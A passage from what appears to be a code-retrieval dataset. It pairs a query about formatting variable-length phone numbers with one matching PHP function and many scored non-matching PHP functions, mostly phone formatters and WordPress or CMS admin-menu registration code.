710);\n }", "title": "" }, { "docid": "bddef5650101e4a9d97007894a3ca0d0", "score": "0.6928835", "text": "function add_admin_menu() {\r\n\t\tswitch( $this->menus['type'] ) {\r\n\t\t\tcase 'dashboard':\r\n\t\t\t\t$this->hook_suffix = add_dashboard_page( $this->menus['page_title'], $this->menus['menu_title'], $this->menus['capability'], $this->menus['menu_slug'], array( $this, 'menu_page' ) );\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'posts':\r\n\t\t\t\t$this->hook_suffix = add_posts_page( $this->menus['page_title'], $this->menus['menu_title'], $this->menus['capability'], $this->menus['menu_slug'], array( $this, 'menu_page' ) );\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'media':\r\n\t\t\t\t$this->hook_suffix = add_media_page( $this->menus['page_title'], $this->menus['menu_title'], $this->menus['capability'], $this->menus['menu_slug'], array( $this, 'menu_page' ) );\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'links':\r\n\t\t\t\t$this->hook_suffix = add_links_page( $this->menus['page_title'], $this->menus['menu_title'], $this->menus['capability'], $this->menus['menu_slug'], array( $this, 'menu_page' ) );\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'pages':\r\n\t\t\t\t$this->hook_suffix = add_pages_page( $this->menus['page_title'], $this->menus['menu_title'], $this->menus['capability'], $this->menus['menu_slug'], array( $this, 'menu_page' ) );\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'comments':\r\n\t\t\t\t$this->hook_suffix = add_comments_page( $this->menus['page_title'], $this->menus['menu_title'], $this->menus['capability'], $this->menus['menu_slug'], array( $this, 'menu_page' ) );\r\n\t\t\t\tbreak;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\tcase 'appearance':\r\n\t\t\t\t$this->hook_suffix = add_theme_page( $this->menus['page_title'], $this->menus['menu_title'], $this->menus['capability'], $this->menus['menu_slug'], array( $this, 'menu_page' ) );\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'plugins':\r\n\t\t\t\t$this->hook_suffix = add_plugins_page( $this->menus['page_title'], $this->menus['menu_title'], $this->menus['capability'], $this->menus['menu_slug'], array( $this, 'menu_page' ) );\r\n\t\t\t\tbreak;\t\r\n\t\t\tcase 'users':\r\n\t\t\t\t$this->hook_suffix = add_users_page( $this->menus['page_title'], $this->menus['menu_title'], $this->menus['capability'], $this->menus['menu_slug'], array( $this, 'menu_page' ) );\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'tools':\r\n\t\t\t\t$this->hook_suffix = add_management_page( $this->menus['page_title'], $this->menus['menu_title'], $this->menus['capability'], $this->menus['menu_slug'], array( $this, 'menu_page' ) );\r\n\t\t\t\tbreak;\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\tcase 'options':\r\n\t\t\t\t$this->hook_suffix = add_options_page( $this->menus['page_title'], $this->menus['menu_title'], $this->menus['capability'], $this->menus['menu_slug'], array( $this, 'menu_page' ) );\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'menu':\r\n\t\t\t\t$this->hook_suffix = add_menu_page( $this->menus['page_title'], $this->menus['menu_title'], $this->menus['capability'], $this->menus['menu_slug'], array( $this, 'menu_page' ), $this->menus['icon_url'], $this->menus['position'] );\r\n\t\t\t\tbreak;\r\n\t\t\tcase 'submenu':\r\n\t\t\t\t$this->hook_suffix = add_submenu_page( $this->menus['parent_slug'], $this->menus['page_title'], $this->menus['menu_title'], $this->menus['capability'], $this->menus['menu_slug'], array( $this, 'menu_page' ) );\r\n\t\t\t\tbreak;\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t}\r\n\t\t\r\n\t}", "title": "" }, { "docid": "cadbaaea4840b3cee0541442ff3a603a", "score": "0.6924827", "text": "function moon_register_nav_menu() {\n register_nav_menus( array(\n 'primary' \t=> __( 'Primary Menu', 'moonset' ),\n 'footer'\t=> __( 'Fotter Menu', 'mooonset' ),\n 'mega'\t\t=> __( 'Mega Menu', 'moonset' ),\n )); \n }", "title": "" }, { "docid": "09a3d554825644298c77184f1f2c9e0e", "score": "0.6922608", "text": "function ohlasky_menu(){\n add_menu_page( \n 'Ohlášky', \n 'Ohlášky', \n 'edit_posts', \n 'ohlasky_page', \n 'ohlasky_page_generate', \n 'dashicons-media-text', \n 5\n );\n // string $parent_slug, string $page_title, string $menu_title, string $capability, string $menu_slug, callable $function = '', int $position = null\n add_submenu_page( \n 'ohlasky_page', \n 'Den Páně', \n 'Den Páně', \n 'edit_posts', \n 'den_pane', \n 'den_pane_generate' \n );\n}", "title": "" }, { "docid": "a5fa3a3a67b8200c99b0a2ea8259c6be", "score": "0.6914021", "text": "public function registerNavigation_BIN() {\n return [\n 'oims' => [\n 'label' => 'olabs.oims::lang.plugin.main_menu',\n 'url' => Backend::url('olabs/oims/orders'),\n 'icon' => 'icon-shopping-cart',\n 'permissions' => ['olabs.oims.*'],\n 'order' => 69,\n 'sideMenu' => [\n 'orders' => [\n 'label' => 'olabs.oims::lang.orders.menu_label',\n 'icon' => 'icon-money',\n 'url' => Backend::url('olabs/oims/orders'),\n 'permissions' => ['olabs.oims.orders'],\n ],\n 'products' => [\n 'label' => 'olabs.oims::lang.products.menu_label',\n 'icon' => 'icon-cube',\n 'url' => Backend::url('olabs/oims/products'),\n 'permissions' => ['olabs.oims.products'],\n ],\n 'categories' => [\n 'label' => 'olabs.oims::lang.categories.menu_label',\n 'icon' => 'icon-list-alt',\n 'url' => Backend::url('olabs/oims/categories'),\n 'permissions' => ['olabs.oims.categories'],\n ],\n 'brands' => [\n 'label' => 'olabs.oims::lang.brands.menu_label',\n 'icon' => 'icon-copyright',\n 'url' => Backend::url('olabs/oims/brands'),\n 'permissions' => ['olabs.oims.brands'],\n ],\n 'taxes' => [\n 'label' => 'olabs.oims::lang.taxes.menu_label',\n 'icon' => 'icon-random',\n 'url' => Backend::url('olabs/oims/taxes'),\n 'permissions' => ['olabs.oims.taxes'],\n ],\n 'carriers' => [\n 'label' => 'olabs.oims::lang.carriers.menu_label',\n 'icon' => 'icon-truck',\n 'url' => Backend::url('olabs/oims/carriers'),\n 'permissions' => ['olabs.oims.carriers'],\n ],\n 'orderstatuses' => [\n 'label' => 'olabs.oims::lang.orderstatuses.menu_label',\n 'icon' => 'icon-tasks',\n 'url' => Backend::url('olabs/oims/orderstatuses'),\n 'permissions' => ['olabs.oims.orderstatuses'],\n ],\n 'properties' => [\n 'label' => 'olabs.oims::lang.properties.menu_label',\n 'icon' => 'icon-cogs',\n 'url' => Backend::url('olabs/oims/properties'),\n 'permissions' => ['olabs.oims.properties'],\n ],\n 'coupons' => [\n 'label' => 'olabs.oims::lang.coupons.menu_label',\n 'icon' => 'icon-ticket',\n 'url' => Backend::url('olabs/oims/coupons'),\n 'permissions' => ['olabs.oims.coupons'],\n ],\n 'paymentgateways' => [\n 'label' => 'olabs.oims::lang.paymentgateways.menu_label',\n 'icon' => 'icon-ticket',\n 'url' => Backend::url('olabs/oims/paymentgateways'),\n 'permissions' => ['olabs.oims.paymentgateways'],\n ]\n ]\n ]\n ];\n }", "title": "" }, { "docid": "f20521efe24bc153933425ff956738ad", "score": "0.6911554", "text": "function gp4_setup() {\n register_nav_menus( array(\n 'primary' => __( 'Main Menu', 'gp4'),\n 'footer_col_1' => __( 'Footer Col 1', 'gp4' ),\n 'footer_col_2' => __( 'Footer Col 2', 'gp4' ),\n 'footer_col_3' => __( 'Footer Col 3', 'gp4' ),\n 'chandler_main' => __( 'Chandler Main Menu', 'gp4'),\n ) );\n }", "title": "" } ]
b55e2074ed9ffd0514a8bc88318fe7e4
Takes a variable length phone number and formats it. E.g., 1 (918) 2694037
[ { "docid": "2f2fd19d1d8ea0a6d0308f29477fd80d", "score": "0.717378", "text": "function format_phone($phone = '', $convert = false, $parens = true) {\n\tif (empty($phone)) {\n\t\treturn '';\n\t}\n\n\t// Strip out any extra characters that we do not need only keep letters and numbers\n\t$phone = preg_replace('/[^0-9A-Za-z]/', '', $phone);\n\n\t// Do we want to convert phone numbers with letters to their number equivalent?\n\t// Samples are: 1-800-TERMINIX, 1-800-FLOWERS, 1-800-Petmeds\n\tif ($convert == true) {\n\t\t$replace = array(\n\t\t\t'2' =>\tarray('a','b','c'),\n\t\t\t'3' =>\tarray('d','e','f'),\n\t\t\t'4' =>\tarray('g','h','i'),\n\t\t\t'5' =>\tarray('j','k','l'),\n\t\t\t'6' =>\tarray('m','n','o'),\n\t\t\t'7' =>\tarray('p','q','r','s'),\n\t\t\t'8' =>\tarray('t','u','v'),\n\t\t\t'9' =>\tarray('w','x','y','z')\n\t\t);\n\n\t\t// Replace each letter with a number\n\t\t// Notice this is case insensitive with the str_ireplace instead of str_replace \n\t\tforeach ($replace as $digit => $letters) {\n\t\t\t$phone = str_ireplace($letters, $digit, $phone);\n\t\t}\n\t}\n\t\n\t// Perform phone number formatting here\n\tif (strlen($phone) == 7) {\n\t\treturn preg_replace(\"/([0-9a-zA-Z]{3})([0-9a-zA-Z]{4})/\", \"$1-$2\", $phone);\n\t} elseif (strlen($phone) == 10) {\n\t\tif ($parens) {\n\t\t\t$replacement = '($1) $2-$3';\n\t\t} else {\n\t\t\t$replacement = '$1-$2-$3';\n\t\t}\n\t\treturn preg_replace(\"/([0-9a-zA-Z]{3})([0-9a-zA-Z]{3})([0-9a-zA-Z]{4})/\", $replacement, $phone);\n\t} elseif (strlen($phone) == 11) {\n\t\tif ($parens) {\n\t\t\t$replacement = '$1($2) $3-$4';\n\t\t} else {\n\t\t\t$replacement = '$1-$2-$3-$4';\n\t\t}\n\t\treturn preg_replace(\"/([0-9a-zA-Z]{1})([0-9a-zA-Z]{3})([0-9a-zA-Z]{3})([0-9a-zA-Z]{4})/\", $replacement, $phone);\n\t}\n\n\treturn $phone;\n}", "title": "" } ]
[ { "docid": "ce804de3e38a5744ddb5184d02c901d2", "score": "0.8030756", "text": "function phone_number_format($number) {\n $number = preg_replace(\"/[^\\d]/\", \"\", $number);\n // get number length.\n $length = strlen($number);\n $last_length = $length - 6;\n // if number = 10\n if ($length > 1) {\n $number = preg_replace(\"/^1?(\\d{3})(\\d{3})(\\d{\" . $last_length . \",20})$/\", \"$1-$2-$3\", $number);\n }\n\n return $number;\n }", "title": "" }, { "docid": "af207299566981bf9b54eb7c0ec43744", "score": "0.795625", "text": "function phone_number_format($number) {\n $number = preg_replace(\"/[^\\d]/\",\"\",$number);\n\n // get number length.\n $length = strlen($number);\n\n // if number = 10\n if($length == 10) {\n $number = preg_replace(\"/^1?(\\d{3})(\\d{3})(\\d{4})$/\", \"$1-$2-$3\", $number);\n }\n\n return $number;\n\n}", "title": "" }, { "docid": "4cd3f647252521247f9036d9e1c0ccfc", "score": "0.79385895", "text": "function format_phone($phone){\n\t$phone = preg_replace(\"/[^0-9]/\", \"\", $phone);\n\tif(strlen($phone) == 7){\n\t\treturn preg_replace(\"/([0-9]{3})([0-9]{4})/\", \"$1-$2\", $phone);\n\t}elseif(strlen($phone) == 10){\n\t\treturn preg_replace(\"/([0-9]{3})([0-9]{3})([0-9]{4})/\", \"($1) $2-$3\", $phone);\n\t}else{\n\t\treturn $phone;\n\t}\n}", "title": "" }, { "docid": "86713c6c0586b4a71543bf41dbc14909", "score": "0.7884531", "text": "function phone_num_format($number){\n\tif(strlen($number) == 11){\n\t\t$string = str_split($number);\n\t\treturn $string[0].\" (\".$string[1].$string[2].$string[3].\") \".$string[4].$string[5].$string[6].\"-\".$string[7].$string[8].$string[9].$string[10];\n\t}\n\telse if(strlen($number) == 10){\n\t\t$string = str_split($number);\n\t\treturn \"(\".$string[0].$string[1].$string[2].\") \".$string[3].$string[4].$string[5].\"-\".$string[6].$string[7].$string[8].$string[9];\n\t}\n\telse if(strlen($number) == 7){\n\t\t$string = str_split($number);\n\t\treturn $string[0].$string[1].$string[2].\"-\".$string[3].$string[4].$string[5].$string[6];\n\t}\n}", "title": "" }, { "docid": "1f962b95ce2c5c337339f57ba2f12427", "score": "0.7761167", "text": "function format_phone_base($phone) {\n\t\t\t\t\t if(!isset($phone{3})) { return ''; }\n\t\t\t\t\t // note: strip out everything but numbers\n\t\t\t\t\t $phone = preg_replace(\"/[^0-9]/\", \"\", $phone);\n\t\t\t\t\t $length = strlen($phone);\n\t\t\t\t\t switch($length) {\n\t\t\t\t\t case 7:\n\t\t\t\t\t return preg_replace(\"/([0-9]{3})([0-9]{4})/\", \"$1-$2\", $phone);\n\t\t\t\t\t break;\n\t\t\t\t\t case 10:\n\t\t\t\t\t return preg_replace(\"/([0-9]{3})([0-9]{3})([0-9]{4})/\", \"$1-$2-$3\", $phone);\n\t\t\t\t\t break;\n\t\t\t\t\t case 11:\n\t\t\t\t\t return preg_replace(\"/([0-9]{1})([0-9]{3})([0-9]{3})([0-9]{4})/\", \"$1-$2-$3-$4\", $phone);\n\t\t\t\t\t break;\n\t\t\t\t\t default:\n\t\t\t\t\t return $phone;\n\t\t\t\t\t break;\n\t\t\t\t\t }\n\t\t\t\t\t}", "title": "" }, { "docid": "73c254722881fd2e4282e90073b96375", "score": "0.7630768", "text": "public static function formatNumber($phone_number) {\n $pattern = '/\\D/';\n $replace = '';\n $phone_number = preg_replace($pattern, $replace, $phone_number);\n $number_length = strlen($phone_number);\n if($number_length < 10) {\n return null;\n } else if ($number_length === 10) { // format (xxx)-xxx-xxxx\n $phone_number = \"(\" . $phone_number;\n $phone_number = substr($phone_number, 0, 4) . \")-\" . substr($phone_number, 4, 3) . \"-\" . substr($phone_number, 7);\n } else if ($number_length === 11) { // format x(xxx)-xxx-xxxx\n $phone_number = substr($phone_number, 0, 1) . \"(\" . substr($phone_number, 1);\n $phone_number = substr($phone_number, 0, 5) . \")-\" . substr($phone_number, 5, 3) . \"-\" . substr($phone_number, 8);\n } else if ($number_length === 12) { // format xx(xxx)-xxx-xxxx\n $phone_number = substr($phone_number, 0, 2) . \"(\" . substr($phone_number, 2);\n $phone_number = substr($phone_number, 0, 6) . \")-\" . substr($phone_number, 6, 3) . \"-\" . substr($phone_number, 9);\n } else {\n return null;\n }\n return $phone_number;\n }", "title": "" }, { "docid": "03abfe9520224cb5e244cc0c77e34f85", "score": "0.755671", "text": "function formatPhoneNumber($n){\n\t\tif( $n[0] != \"(\" ){ /* assume 'aaapppnnnn' and build '(aaa)ppp-nnnn' */\n\t\t\t$fn = \"(\" . substr($n, 0, 3) . \")\";\n\t\t\t$fn .= substr($n, 3, 3) . \"-\" . substr($n, 6, 4);\n\t\t\treturn $fn;\n\t\t}else if( $n[5] == \" \" ){ /* assume '(aaa) ppp-nnnn' so remove space */\n\t\t$fn = substr($n, 0, 5) . substr($n, 6, 8);\n\t\treturn $fn;\n\t\t}\n\t}", "title": "" }, { "docid": "b799799a02976b7ada4458937a7d568a", "score": "0.7498068", "text": "function format_telephone_number($number) {\n\n\t\tif (strlen(preg_replace('/[^0-9]/', '', strval($number))) < 6) {\n\n\t\t\t\t// 1234 Street Name\n\t\t\t\t// Ex Directory\n\t\t\t\t// not given\n\t\t\t\t// Don't have a phone\n\n\t\t\treturn NULL;\n\n\t\t} else {\n\n\t\t\t\t// 000 0000 0000 Ex 00\n\t\t\t\t// 00000 000000, mob - 00000000000\n\t\t\t\t// 00000000000 or 00000000000\n\t\t\t\t// 00000000000 / W: 00000000000\n\t\t\t\t// 00000000 0000 (WORK)\n\t\t\t\t// 00000000000 (txt only)\n\t\t\t\t// 00000 000000 (after 2PM only)\n\t\t\t\t// 00000 000000 not to be use for marketing\n\t\t\t\t// 00000 000000 or +00 00 000 0000(S.Korea)\n\t\t\t\t// US 000 000 0000\n\t\t\t\t// (US Home) 0000000000\n\t\t\t\t// c/o 00000 000000\n\n\t\t\t\t// Try to tidy up \"oo00000000000\" or \"OI000 000000\", but not \"c/o 00000 000000\"\n\n\t\t\t$chars = preg_split('//u', $number, -1, PREG_SPLIT_NO_EMPTY); // UTF-8 character splitting\n\t\t\t$length = ($chars === false ? 0 : count($chars));\n\t\t\t$dividers = array(' ', '(', ')', '-');\n\n\t\t\tfor ($k = 0; $k < $length; $k++) {\n\t\t\t\tif (in_array($chars[$k], array('i', 'I', 'o', 'O'))) {\n\t\t\t\t\tif ($k > 0 && !ctype_digit($chars[$k - 1]) && !in_array($chars[$k - 1], $dividers)) { // Only apply if start of string, or preceding char is a digit/divider.\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\t$new = $chars;\n\t\t\t\t\twhile ($k < $length) {\n\t\t\t\t\t\tif (in_array($chars[$k], array('i', 'I'))) {\n\t\t\t\t\t\t\t$new[$k] = 1;\n\t\t\t\t\t\t} else if (in_array($chars[$k], array('o', 'O'))) {\n\t\t\t\t\t\t\t$new[$k] = 0;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$k++;\n\t\t\t\t\t}\n\t\t\t\t\tif ($k == $length || ctype_digit($chars[$k]) || in_array($chars[$k], $dividers)) { // Only apply if end of string, or following char is a digit/divider.\n\t\t\t\t\t\t$chars = $new;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn implode('', $chars);\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "705fac471eab824d33b4986098a2cf69", "score": "0.74931353", "text": "function format_phone_us($phone) {\n\t\t\t\t\t if(!isset($phone{3})) { return ''; }\n\t\t\t\t\t // note: strip out everything but numbers\n\t\t\t\t\t $phone = preg_replace(\"/[^0-9]/\", \"\", $phone);\n\t\t\t\t\t $length = strlen($phone);\n\t\t\t\t\t switch($length) {\n\t\t\t\t\t case 7:\n\t\t\t\t\t return preg_replace(\"/([0-9]{3})([0-9]{4})/\", \"$1-$2\", $phone);\n\t\t\t\t\t break;\n\t\t\t\t\t case 10:\n\t\t\t\t\t return preg_replace(\"/([0-9]{3})([0-9]{3})([0-9]{4})/\", \"($1) $2-$3\", $phone);\n\t\t\t\t\t break;\n\t\t\t\t\t case 11:\n\t\t\t\t\t return preg_replace(\"/([0-9]{1})([0-9]{3})([0-9]{3})([0-9]{4})/\", \"$1($2) $3-$4\", $phone);\n\t\t\t\t\t break;\n\t\t\t\t\t default:\n\t\t\t\t\t return $phone;\n\t\t\t\t\t break;\n\t\t\t\t\t }\n\t\t\t\t\t}", "title": "" }, { "docid": "41aa1e333e1aef9c712acae42a744df2", "score": "0.7477403", "text": "public function formatPhoneNumber($phoneNumber) {\n $phoneNumber = preg_replace('/[^0-9]/','',$phoneNumber);\n\n if(strlen($phoneNumber) > 10) {\n $countryCode = substr($phoneNumber, 0, strlen($phoneNumber)-10);\n $areaCode = substr($phoneNumber, -10, 3);\n $nextThree = substr($phoneNumber, -7, 3);\n $lastFour = substr($phoneNumber, -4, 4);\n\n $phoneNumber = '+'.$countryCode.' ('.$areaCode.') '.$nextThree.'-'.$lastFour;\n }\n else if(strlen($phoneNumber) == 10) {\n $areaCode = substr($phoneNumber, 0, 3);\n $nextThree = substr($phoneNumber, 3, 3);\n $lastFour = substr($phoneNumber, 6, 4);\n\n $phoneNumber = '('.$areaCode.') '.$nextThree.'-'.$lastFour;\n }\n else if(strlen($phoneNumber) == 7) {\n $nextThree = substr($phoneNumber, 0, 3);\n $lastFour = substr($phoneNumber, 3, 4);\n\n $phoneNumber = $nextThree.'-'.$lastFour;\n }\n\n\t\treturn $phoneNumber;\n\t}", "title": "" }, { "docid": "ad3972be5474980f6d29c9f993e3866e", "score": "0.7410888", "text": "function format_phone($s) {\n$rx = \"/\n (1)?\\D* # optional country code\n (\\d{3})?\\D* # optional area code\n (\\d{3})\\D* # first three\n (\\d{4}) # last four\n (?:\\D+|$) # extension delimiter or EOL\n (\\d*) # optional extension\n/x\";\npreg_match($rx, $s, $matches);\nif(!isset($matches[0])) return false;\n\n$country = $matches[1];\n$area = $matches[2];\n$three = $matches[3];\n$four = $matches[4];\n$ext = $matches[5];\n\n$out = \"$three.$four\";\nif(!empty($area)) $out = \"$area.$out\";\nif(!empty($country)) $out = \"+$country.$out\";\nif(!empty($ext)) $out .= \"x$ext\";\n\n// check that no digits were truncated\n// if (preg_replace('/\\D/', '', $s) != preg_replace('/\\D/', '', $out)) return false;\nreturn $out;\n}", "title": "" }, { "docid": "c21e37f4a3ef23a96dbe11c0a18539ce", "score": "0.74080515", "text": "function formatPhone($phone)\n{\n\tif (empty($phone)) return \"\";\n\tif (strlen($phone) == 7)\n\t\t\tsscanf($phone, \"%3s%4s\", $prefix, $exchange);\n\telse if (strlen($phone) == 10)\n\t\t\tsscanf($phone, \"%3s%3s%4s\", $area, $prefix, $exchange);\n\telse if (strlen($phone) > 10)\n\t\t\tsscanf($phone, \"%3s%3s%4s%s\", $area, $prefix, $exchange, $extension);\n\telse\n\t\t\treturn \"unknown phone format: $phone\";\n\t$out = \"\";\n\t$out .= isset($area) ? '(' . $area . ') ' : \"\";\n\t$out .= $prefix . '-' . $exchange;\n\t$out .= isset($extension) ? ' x' . $extension : \"\";\n\treturn $out;\n}", "title": "" }, { "docid": "3bf6a2253c8148049b278fef9114d722", "score": "0.7390758", "text": "public static function formatPhoneNumber($phone) {\n return strlen($phone) == 10 ? '(' . substr($phone, 0, 3) . ') ' . substr($phone, 3, 3) . '-' .substr($phone,6) : $phone;\n }", "title": "" }, { "docid": "2d4762b70d1b66f418fa0cda9ba112be", "score": "0.7375188", "text": "public function formatPhone($phone)\n {\n if (empty($phone)) {\n return '';\n }\n \n if (!is_numeric($phone)) {\n return $phone;\n }\n \n $phone = preg_replace(\"/[^0-9]/\", \"\", $phone);\n\n if (strlen($phone) == 5) {\n \n return preg_replace(\"/([0-9]{1})([0-9]{4})/\", \"$1-$2\", $phone);\n \n } else if (strlen($phone) == 7) {\n \n return preg_replace(\"/([0-9]{3})([0-9]{4})/\", \"$1-$2\", $phone);\n \n } else if (strlen($phone) == 10) {\n\n return preg_replace(\"/([0-9]{3})([0-9]{3})([0-9]{4})/\", \"($1) $2-$3\", $phone);\n \n } else if (strlen($phone) == 11) {\n \n return preg_replace(\"/([0-9]{1})([0-9]{3})([0-9]{3})([0-9]{4})/\", \"$1 ($2) $3-$4\", $phone);\n \n } else if (strlen($phone) == 12) {\n \n return preg_replace(\"/([0-9]{2})([0-9]{3})([0-9]{3})([0-9]{4})/\", \"$1 ($2) $3-$4\", $phone);\n \n } else if (strlen($phone) == 13) {\n \n return preg_replace(\"/([0-9]{3})([0-9]{3})([0-9]{3})([0-9]{4})/\", \"$1 ($2) $3-$4\", $phone);\n \n } else if (strlen($phone) == 14) {\n \n return preg_replace(\"/([0-9]{4})([0-9]{3})([0-9]{3})([0-9]{4})/\", \"$1 ($2) $3-$4\", $phone);\n \n } else {\n \n return $phone;\n }\n }", "title": "" }, { "docid": "e9e957131ee3eb81d6b3d240993d8475", "score": "0.7374723", "text": "function formatPhone($string){\n\n\t$string = strval($string);\n\tpreg_match_all('/\\(?([2-9]\\d{2})\\)?[-. ]?(\\d{0,3})?[-. ]?(\\d{0,4})?/', $string, $group);\n\n\t$number = \"+1 (\".$group[1][0].\") \".$group[2][0].\"-\".$group[3][0];\n\treturn $number;\n}", "title": "" }, { "docid": "66d142781c24f722522e9f877d9f3722", "score": "0.7325683", "text": "function formatPhone( $phoneNumber ) {\n $formattedPhone = \"\";\n if($phoneNumber > \"\") {\n $formattedPhone = substr($phoneNumber,0,3) . \"-\" . substr($phoneNumber,3,3) . \"-\" . substr($phoneNumber,6,4);\n }\n return $formattedPhone;\n}", "title": "" }, { "docid": "bdf53fbb4a6b36af96d7507053ce3f75", "score": "0.7202124", "text": "function formatPhone($phone = '', $convert = false, $trim = true){\r\n if (empty($phone)) {\r\n return '';\r\n }\r\n // Strip out any extra characters that we do not need only keep letters and numbers\r\n $phone = preg_replace(\"/[^0-9A-Za-z]/\", \"\", $phone);\r\n // Do we want to convert phone numbers with letters to their number equivalent?\r\n // Samples are: 1-800-TERMINIX, 1-800-FLOWERS, 1-800-Petmeds\r\n if ($convert == true) {\r\n $replace = array('2'=>array('a','b','c'),\r\n '3'=>array('d','e','f'),\r\n '4'=>array('g','h','i'),\r\n '5'=>array('j','k','l'),\r\n '6'=>array('m','n','o'),\r\n '7'=>array('p','q','r','s'),\r\n '8'=>array('t','u','v'), '9'=>array('w','x','y','z'));\r\n // Replace each letter with a number\r\n // Notice this is case insensitive with the str_ireplace instead of str_replace\r\n foreach($replace as $digit=>$letters) {\r\n $phone = str_ireplace($letters, $digit, $phone);\r\n }\r\n }\r\n // If we have a number longer than 11 digits cut the string down to only 11\r\n // This is also only ran if we want to limit only to 11 characters\r\n if ($trim == true && strlen($phone)>11) {\r\n $phone = substr($phone, 0, 11);\r\n }\r\n // Perform phone number formatting here\r\n if (strlen($phone) == 7) {\r\n return preg_replace(\"/([0-9a-zA-Z]{3})([0-9a-zA-Z]{4})/\", \"$1-$2\", $phone);\r\n } elseif (strlen($phone) == 10) {\r\n return preg_replace(\"/([0-9a-zA-Z]{3})([0-9a-zA-Z]{3})([0-9a-zA-Z]{4})/\", \"($1) $2-$3\", $phone);\r\n } elseif (strlen($phone) == 11) {\r\n return preg_replace(\"/([0-9a-zA-Z]{1})([0-9a-zA-Z]{3})([0-9a-zA-Z]{3})([0-9a-zA-Z]{4})/\", \"$1($2) $3-$4\", $phone);\r\n }\r\n // Return original phone if not 7, 10 or 11 digits long\r\n return $phone;\r\n}", "title": "" }, { "docid": "ec6c06b23bda423b4bb78698b24529d8", "score": "0.7188025", "text": "public static function format_phone($phone) {\r\n\t\treturn trim(preg_replace('/^(\\d?)(\\d{3})(\\d{3})(\\d{4})$/',\r\n\t\t\t'$1 ($2) $3-$4', $phone));\r\n\t}", "title": "" }, { "docid": "4739b2ea372fc7cfb79647e1fc936c94", "score": "0.70280313", "text": "function conv2Tel($number) {\n\tif(strlen($number) > 6) \n\t\treturn substr($number,0,5).' '.substr($number,5,4).' '.substr($number,9);\n\telse\n \t\treturn \"- - -\";\n}", "title": "" }, { "docid": "eef59b70498ba85b444f09a2b07bca50", "score": "0.6989041", "text": "function format_phone_data($phone_number = 0)\n {\n return geoNumber::phoneFormat($phone_number);\n }", "title": "" }, { "docid": "95d98a34906ed60d38a154c4da61372c", "score": "0.6888803", "text": "public function formatPhoneNumber(string $phoneNumber)\n {\n return str_replace(\n ' ', '', preg_replace(\n '/^\\+33( \\(0\\))?/', '0', $phoneNumber\n )\n );\n }", "title": "" }, { "docid": "de7e2c114783827fb0cc734d30fed49c", "score": "0.6864914", "text": "function sanitizePhoneNumber(string $dirtyPhoneNumber){\n $cleanPhoneNumber = preg_replace('/[^0-9]/', '', $dirtyPhoneNumber);\n\n if (strlen($cleanPhoneNumber) === 11){\n return substr_replace($cleanPhoneNumber, '0', 0, 2);\n }\n\n return $cleanPhoneNumber;\n}", "title": "" }, { "docid": "c5eec4cfa641a69e9858838cdcb03481", "score": "0.6815837", "text": "function trimPhone($phoneString) // make sure to validatePhone before attempting this!\n{\n\t$digits = preg_replace(\"/[^0-9]/\", '', $phoneString);\n\t// if it has 11 digits, the first digit should be 1, because we validated already\n\tif (strlen($digits) == 11)\n\t{\n\t\t// so let's strip it out\n\t\t$digits = preg_replace(\"/^1/\", '', $digits);\n\t}\n\t// now we should have a nice 10-digit number with no other characters in it.\n\t// so let's break it up into a 3-3-4 pattern.\n\tpreg_match(\"/\\b([0-9]{3})([0-9]{3})([0-9]{4})\\b/\", $digits, $matches);\n\t$newphone = \"(\" . $matches[1] . \")\" . \" \" . $matches[2].\"-\".$matches[3];\n\treturn $newphone;\n\n}", "title": "" }, { "docid": "865e2aba370c97c52aa0611808072d09", "score": "0.6804041", "text": "public static function phoneNumber()\n {\n return self::numerify(self::pickOne(array(\n '###-###-####', '(###)###-####', '1-###-###-####', '###.###.####', '###-###-####', '(###)###-####',\n '1-###-###-####', '###.###.####', '###-###-#### x###', '(###)###-#### x###', '1-###-###-#### x###',\n '###.###.#### x###', '###-###-#### x####', '(###)###-#### x####', '1-###-###-#### x####',\n '###.###.#### x####', '###-###-#### x#####', '(###)###-#### x#####', '1-###-###-#### x#####',\n '###.###.#### x#####'\n )));\n }", "title": "" }, { "docid": "1837026411e723776443a726352c3990", "score": "0.6765389", "text": "function formatPhoneNumberToUSInternational($phone)\n{\n if (preg_match('/^\\+(\\d{1})(\\d{3})(\\d{3})(\\d{4})$/', $phone, $matches)) {\n return \"+\" . $matches[1] . \" \" . $matches[2] . '-' .$matches[3] . '-' .\n $matches[4];\n }\n return $phone;\n}", "title": "" }, { "docid": "53addf298c07d1181b00be9d19a232be", "score": "0.6752182", "text": "function displayPhoneNo($data) {\n\tif ($data === null) {\n\t\treturn \"-\";\n\t}\n\t$len = strlen((string)$data);\n\tif($len == 10) {\n\t\t$firstThree = substr($data, 0, 3);\n\t\t$middleThree = substr($data, 3, 3);\n\t\t$finalFour = substr($data, 6, 4);\n\t\treturn '(' . $firstThree . ') ' . $middleThree . '-' . $finalFour;\n\t} else {\n\t\treturn $data;\n\t}\n}", "title": "" }, { "docid": "e3a6c8ae482190635896e7900e82727a", "score": "0.6738113", "text": "function createPhoneNumber(array $digits): string {\n return sprintf(\"(%d%d%d) %d%d%d-%d%d%d%d\", ...$digits);\n}", "title": "" }, { "docid": "55aa8d9fa5c6eec11d220ffa3a612b04", "score": "0.6667441", "text": "function get_phone_number($phone_number)\n{\n return str_replace(array('-', '(', ')', ' '), '', $phone_number);\n}", "title": "" }, { "docid": "d4f9c631a86ce6f4f748f6292575129a", "score": "0.665946", "text": "function format_phone($country, $phone) {\n\t\t\t\t\t $function = 'format_phone_' . $country;\n\t\t\t\t\t if(function_exists($function)) {\n\t\t\t\t\t return $function($phone);\n\t\t\t\t\t }\n\t\t\t\t\t return $phone;\n\t\t\t\t\t}", "title": "" 